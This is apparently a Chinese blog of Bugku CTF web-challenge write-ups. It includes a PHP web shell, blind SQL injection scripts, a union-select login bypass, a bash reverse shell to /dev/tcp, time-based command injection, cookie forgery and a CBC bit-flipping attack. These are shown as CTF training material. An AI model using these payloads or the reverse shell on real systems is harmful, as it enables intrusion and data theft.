文件包含2
flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:文件包含
打开页面源代码,看到提示
<!-- upload.php -->
打开upload.php页面,是个文件上传。随便上传个文件,用burp改一下。
经测试,文件名须jpg gif png结尾,%00截断不管用,post中的Content-Type须修改为对应图片类型,这样才能上传成功。
尝试写入一句话:
<?php @eval($_POST['otuki']);?>
发现被替换成了下划线。
然后查到了另一种一句话:
<script language=php>system('ls')</script>
成功上传,并通过file文件包含访问传入的图片文件:
访问其中名字像是flag的文件:
flag.php
地址:http://123.206.87.240:8002/flagphp/
点了login咋没反应
提示:hint
打开一看果真输入什么提交都没反应,想到提示hint,于是尝试使用get传参
http://123.206.87.240:8002/flagphp/?hint=1
看到了源码:
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
首先,使用error_reporting(0)关闭错误回显,然后要传入一个cookie变量“ISecer”,它的反序列化===变量KEY。
写一个php生成KEY的序列化:
<?php
print_r(serialize('ISecer:www.isecer.com'));
?>
将其传入cookie发包却不成功,回头再看源码,发现\(KEY='ISecer:www.isecer.com'是在最下面,判断unserialize(\)cookie) === "\(KEY"时,\)KEY还没定义,应该是NULL。于是修改一下php:
<?php
print_r(serialize(''));
?>
使用burp添加参数repeater:
sql注入2
http://123.206.87.240:8007/web2/
全都tm过滤了绝望吗?
提示 !,!=,=,+,-,^,%
说实话还是有些绝望的...
post传入uname=admin&passwd=123时,返回password error;post传入uname=admin1&passwd=123时,返回username error。这就说明了可以利用这个返回信息进行bool型注入,通过闭合uname尝试返回password error。
接下来,就测试一下到底过滤了哪些东西。
通过使用burp的intruder进行fuzz测试,包括但不仅限于以下关键字惨遭过滤:
原来提示的那些字符是没有被过滤的,也是提醒我们使用的。
但是空格,or,and等都被过滤了,怎么来构造语句呢?
通过看一叶飘零的writeup,学到了...
构造
uname=admin'-0-'
语句拼接后为select 'admin'-0-'',查询返回0
返回password error
uname=admin'-1-'
语句拼接后为select 'admin'-1-'',查询返回-1
返回username error
这是因为将username雨查询结果比较时,将str型的username当做0与int型的查询结果比较,0==0,所以返回用户名正确,也就是password error。
然后就是构造查询语句
通常bool型查询语句类似下面:
ascii(substr((select database()),1,1))>97
如果没有逗号和空格呢?
构造:
mid((passwd)from(-2))
可正序输出passwd的最后两位
使用reverse()将字符串反转:
reverse(mid((passwd)from(-2)))
再取最后一位ascii值进行比较:
ascii(reverse(mid((passwd)from(-2)))from(-1)))=97
当条件成立时,语句变为:
uname=admin'-1-'
返回username error
最终脚本如下:
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
'PHPSESSID':'4ovrcc2tndhr4ut9so488imi85uv1vo8'
}
s = requests.Session()
s.keep_alive = False
password = ""
for i in range(1,33):
for j in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.':
payload = "admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-1)))="+str(ord(j))+")-'"
data = {
'uname': payload,
'passwd': 'otuki.top'
}
r = s.post(url=url,cookies=cookie,data=data)
if "username error!!" in r.content:
password += j
print password
break
md5解密为admin123
使用正确的用户名密码登录:
之后执行ls即可:
孙xx的博客
需要用到渗透测试第一步信息收集
域名貌似有点问题,先占个位儿。
Trim的日记本
hints:不要一次就放弃
总是显示mysql connect error !题目应该有点问题,御剑扫一波可以扫出./show.php,可看到flag,据说原题考二次注入,先了解一下吧。
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
login2(SKCTF)
SKCTF{xxxxxxxxxxxxxxxxxxxxx}
hint:union,命令执行
随便登录一下抓包看到返回包中有tip,base64解码后:
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
虽然这里需要在有查询结果的同时,还要比对md5值,但根据提示使用联合查询,可以进行绕过:
username=admin' union select 1,md5(1) %23&password=1
虽然不一定能查到admin的结果,但一定会有一条username=1&password=md5(1)的显示结果,md5比对自然也可以通过。
登录成功后,显示命令执行界面:
通过学习大佬们的writeup,总结以下两种解法:
使用nc反弹shell
VPS:
nc -lvv 8888
命令执行:
|bash -i >& /dev/tcp/公网IP/8888 0>&1
这样就可以在反弹shell到vps上。
基于时间的命令行盲注
尝试执行命令发现除了进程信息之外,其他都不显示。再执行:
123;sleep 5
发现返回延迟了5秒,证明命令执行了,但没有回显。于是尝试使用命令行注入语句:
c=123;a=`ls`;b='a';if [ ${a:0:1} == $b ];then sleep 2;fi
如果a的执行结果的第一个字母为"a",则sleep 5。从而依次列出目录。
import requests
import time
url = 'http://123.206.31.85:49165/'
s = requests.Session()
ls = ''
data = {
"username" : "admin' union select 1,md5(1) #",
"password" : '1',
}
res1 = s.post(url=url+'login.php', data=data)
## for i in range(100):
## for j in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}[]_-+=!@#$%^&*/\|.':
## payload = "123;a=`ls`;b='"+ j +"';if [ ${a:"+ str(i) + ":1} == $b ];then sleep 5;fi"
## data = {
## "c" : payload,
## }
## starttime = time.time()
## res2 = s.post(url=url+'index.php', data=data)
## ## print payload
## endtime = time.time()
## if (endtime - starttime) > 4:
## ls += j
## print ls
## break
for i in range(100):
for j in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}[]_-+=!@#$%^&*/\|.':
payload = "123;a=`cat f*`;b='"+ j +"';if [ ${a:"+ str(i) + ":1} == $b ];then sleep 5;fi"
data = {
"c" : payload,
}
starttime = time.time()
res2 = s.post(url=url+'index.php', data=data)
## print payload
endtime = time.time()
if (endtime - starttime) > 4:
ls += j
print ls
break
先列目录,再读文件。
login3(SKCTF)
flag格式:SKCTF{xxxxxxxxxxxxx}
hint:基于布尔的SQL盲注
先fuzz测试过滤了什么。
有三种回显信息:username为admin时,显示password error;检测到特定字符时,显示illegal character;其他时候显示username does not exist。那么现在的思路就是构造payload,避开被检测的字符,通过区分其他两种回显作为bool型盲注。
因为过滤了union,and,逗号,等号,空格等,这里使用异或(xor)注入。
admin'^(表达式)^0#
当表达式结果为false时,返回password error。之所以最后要加上^0,是因为
admin'^0^0# 返回1
admin'^0^1# 返回0
admin'^1^1# 返回1
如果将^0改为^1,回显改变,说明表达式结果的确为false;如果回显不变,说明表达式有语法错误。
因为information也被检测,这里只能尝试通过参数名猜表名和列名。构造payload:
猜表名:admin'^(select(1)from(admin))^1#
猜列名:admin'^(select(count(password))from(admin))^1#
查数据:admin'^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#
上脚本:
import requests
url = 'http://123.206.31.85:49167/index.php'
r = ''
for i in range(50):
for j in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}[]_-+=!@#$%^&*/\|.':
payload = "admin'^(ascii(mid((select(password)from(admin))from(" + str(i) + ")))<>" + str(ord(j)) + ")^0#"
data = {
"username" : payload,
"password" : "otuki.top",
}
t = requests.post(url=url, data=data).content
if 'error' in t:
r += j
print r
break
md5解密为:skctf123456
登录后可看到flag:
文件上传2(湖湘杯)
进入上传页面,提示上传png
上传一句话木马后提示Failed to load image。
尝试访问./?op=index,发现有页面,但显示无页面。
使用php://filter协议读文件:
base64解码后为:
<?php
error_reporting(0);
define('FROM_INDEX', 1);
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');
function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
<div id="header">
<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body">
<?php
}
function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}
function page_bottom() {
?>
</div>
<center>
<div id="footer">
<div>
<p>
<span>2017 © </span> All rights reserved.
</p>
</div>
</div>
</center>
</body>
</html><?php
ob_end_flush();
}
register_shutdown_function('page_bottom');
page_top($op);
if(!(include $op . '.php'))
fatal('no such page');
?>
根据源码,传入op变量,会拼接上“.php”,并包含该页面,包含失败会返回no such page。使用御剑扫一波后台,发现存在flag.php。于是构造payload:
http://123.206.87.240:9011/?op=php://filter/read=convert.base64-encode/resource=flag
base64解码为:
江湖魔头
学会如来神掌应该就能打败他了吧
这是道新出的题,打开链接,点击确定生成一个角色(cookie)。
这个游戏通过赚钱升满所有属性,再来学习如来神掌,就可以讨伐boss,拿到flag。
去掉这个链接的参数得到http://123.206.31.85:1616/wulin.php是另一个页面。
既然能检测flag的正确性,一般就是有机可乘。
base64.js和md5.js就不用看了,重点看一下script.js。
eval(function (p, a, c, k, e, r) {
e = function (c) {
return (c < 62 ? '' : e(parseInt(c / 62))) + ((c = c % 62) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if ('0'.replace(0, e) == 0) {
while (c--)
r[e(c)] = k[c];
k = [function (e) {
return r[e] || e
}];
e = function () {
return '[57-9abd-hj-zAB]'
};
c = 1
};
while (c--)
if (k[c])
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('7 s(t){5 m=t+"=";5 8=9.cookie.n(\';\');o(5 i=0;i<8.d;i++){5 c=8[i].trim();u(c.v(m)==0)p c.substring(m.d,c.d)}p""}7 w(a){5 x=new Base64();5 q=x.decode(a);5 r="";o(i=0;i<q.d;i++){5 b=q[i].charCodeAt();b=b^i;b=b-((i%10)+2);r+=String.fromCharCode(b)}p r}7 ertqwe(){5 y="user";5 a=s(y);a=decodeURIComponent(a);5 z=w(a);5 8=z.n(\';\');5 e="";o(i=0;i<8.d;i++){u(-1<8[i].v("A")){e=8[i+1].n(":")[2]}}e=e.B(\'"\',"").B(\'"\',"");9.write(\'<img id="f-1" g="h/1-1.k">\');j(7(){9.l("f-1").g="h/1-2.k"},1000);j(7(){9.l("f-1").g="h/1-3.k"},2000);j(7(){9.l("f-1").g="h/1-4.k"},3000);j(7(){9.l("f-1").g="h/6.png"},4000);j(7(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!A{"+md5(e)+"}")},5000)}', [], 38, '|||||var||function|ca|document|temp|num||length|key|attack|src|image||setTimeout|jpg|getElementById|name|split|for|return|result|result3|getCookie|cname|if|indexOf|decode_create|base|temp_name|mingwen|flag|replace'.split('|'), 0, {}))
使用了packer混淆,那就找个在线解混淆的网站解一下:
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i].trim();
if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
}
return ""
}
function decode_create(temp) {
var base = new Base64();
var result = base.decode(temp);
var result3 = "";
for (i = 0; i < result.length; i++) {
var num = result[i].charCodeAt();
num = num ^ i;
num = num - ((i % 10) + 2);
result3 += String.fromCharCode(num)
}
return result3
}
function ertqwe() {
var temp_name = "user";
var temp = getCookie(temp_name);
temp = decodeURIComponent(temp);
var mingwen = decode_create(temp);
// decode_create(decodeURIComponent(getCookie("user")))
//
var ca = mingwen.split(';');
var key = "";
for (i = 0; i < ca.length; i++) {
if (-1 < ca[i].indexOf("flag")) {
key = ca[i + 1].split(":")[2]
}
}
key = key.replace('"', "").replace('"', "");
document.write('<img id="attack-1" src="image/1-1.jpg">');
setTimeout(function () {
document.getElementById("attack-1").src = "image/1-2.jpg"
}, 1000);
setTimeout(function () {
document.getElementById("attack-1").src = "image/1-3.jpg"
}, 2000);
setTimeout(function () {
document.getElementById("attack-1").src = "image/1-4.jpg"
}, 3000);
setTimeout(function () {
document.getElementById("attack-1").src = "image/6.png"
}, 4000);
setTimeout(function () {
alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")
}, 5000)
}
其中,decodeURIComponent()是将url编码解码;charCodeAt()方法可返回指定位置的字符的Unicode编码;fromCharCode()将 Unicode编码转为一个字符。
通过代码可知,它是通过将角色的各个属性保存为cookie来识别用户的,这其中就包含角色拥有的金钱。现在的思路就是通过这段解密cookie的代码,写出生成cookie的脚本得到想要的cookie。先通过抓包或者在Chrome控制台里运行"decode_create(decodeURIComponent(getCookie("user")))"得到现在的属性信息:
'O:5:"human":10:{s:8:"xueliang";i:500;s:5:"neili";i:998;s:5:"lidao";i:98;s:6:"dingli";i:57;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:0;s:4:"flag";s:1:"0";}'
生成新cookie的python代码如下:
import base64
from urllib.parse import quote
payload = 'O:5:"human":10:{s:8:"xueliang";i:500;s:5:"neili";i:998;s:5:"lidao";i:98;s:6:"dingli";i:57;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:1000000;s:4:"flag";s:1:"0";}'
b = bytearray()
for i in range(len(payload)):
a = ord(payload[i]) + ((i % 10) +2)
a ^= i
b.append(a)
c = base64.b64encode(b)
c = quote(c)
print(c)
使用burp或者EditThisCookie将cookie修改为生成的,即可尽情买买买啦~
login4
flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:CBC字节翻转攻击
先学习了一下什么叫CBC字节翻转攻击:
- Plaintext:待加密的数据。
- IV:用于随机化加密的比特块,保证即使对相同明文多次加密,也可以得到不同的密文。
- Ciphertext:加密后的数据。
加密过程:
- 将明文分组(常见以16字节为一组),位数不足使用特殊字符填充;
- 生成随机初始化向量iv和密钥key;
- 将iv和第一组明文异或;
- 用密钥对上面的结果加密;
- 将上面的结果与第二组明文异或;
- 重复4、5,直到产生最后一组密文;
- 将iv与加密后的密文拼接得到最终密文。
解密过程:
- 从密文中提取iv,并将密文分组;
- 用密钥对第一组密文解密,并与iv异或得到第一组明文;
- 用密钥对第二组密文解密,并与上面的明文异或得到第二组明文;
- 重复3,直到产生最后一组明文。
上图就是进行翻转攻击的示意图。翻转第一组明文中的一个字节,只要改变前一组密文中的对应字节即可,这样就能欺骗服务器或绕过过滤器。
先使用御剑扫出存在./.index.php.swp,下载并在linux下运行:
vim -r .index.php.swp #恢复
:w /root/index.php #另存为
打开index.php,css就不粘了:
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
根据源码可知,当用户登录后,服务器将传入的数据进行序列化,然后使用一个未知的key和一个已知的iv来进行CBC加密,再经过base64和url编码后,作为cipher加入cookie中。只有以admin登录时,显示flag,同时当用户名为admin时,又要拒绝登录。
这样的话我们就要以一个不是admin的用户登录,取得这个用户的cookie,再通过字节翻转,得到admin的cookie,从而获取flag。
使用如下信息登录:
username=admio&password=12345&submit=Login
得到iv和cipher:
cipher=E8%2FlLYTCZNJRaDhydQ6wHGVU9IE7A6%2FF%2FzkhA7pPmtIuANUAljbBt7jmNbo%2BchAw4FXcDznh%2FKGICIwzMdOuig%3D%3D
iv=g6fNISh7uYtgH6jJfm4f%2Fw%3D%3D
之后手动在get请求中设置上cookie,返回包显示已成功以admio用户登录:
证明服务器是通过这两个cookie进行身份验证。
然后写一个php脚本生成参数的序列化:
<?php
$username = 'admio';
$password = '12345';
$info = array('username'=>$username,'password'=>$password);
$plain = serialize($info);
echo $plain;
?>
序列化:
a:2:{s:8:"username";s:5:"admio";s:8:"password";s:5:"12345";}
将序列化内容分组:
a:2:{s:8:"userna
me";s:5:"admio";
s:8:"password";s
:5:"12345";}
要修改admio为admin,即第二组明文的第13个字节(从0开始)进行翻转,需要修改第一组密文的第13个字节。
<?php
//生成新的cipher
$plaintext = base64_decode(urldecode("WGojxKCYET4DcKVOHt7T9ePQ21LQYOhVBtK%2FHHeAXVkjp%2BurHGjGk6J%2BLOPe4JtaIhWUh4UVTs14%2FzCE5wc8EA%3D%3D"));
$plaintext[13] = chr(ord($plaintext[13]) ^ ord("o") ^ ord("n"));
echo urlencode(base64_encode($plaintext))
?>
将新的密文和旧的iv提交:
提示的无法序列化的字符串,正是修改后的第一组密文解密之后和旧的iv异或生成的错误的第一组明文,需要再通过这个错误的明文和旧的iv生成新的iv,来对应新的密文。
<?php
//生成新的iv
$plaintext = base64_decode("Q89Yyi8j+DSGXkWOwLnG6W1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9");
$iv = base64_decode(urldecode("8Dos7Qf06O3kCgs126%2B4%2BQ%3D%3D"));
$first_text = 'a:2:{s:8:"userna';
$new_iv = '';
for ($i = 0; $i < 16; $i++){
$new_iv .= chr(ord($iv[$i]) ^ ord($plaintext[$i]) ^ ord($first_text[$i]));
}
再将新的密文和新的iv提交:
web部分总结:
目前,bugku的web部分只有这些题目,里面有很多自认为比较难的题目,也是参考了多位大神的writeup,对此表示感谢!如果今后有新的web题,我也会尽量及时更新,如果本菜鸡能做出来的话...Orz...
评论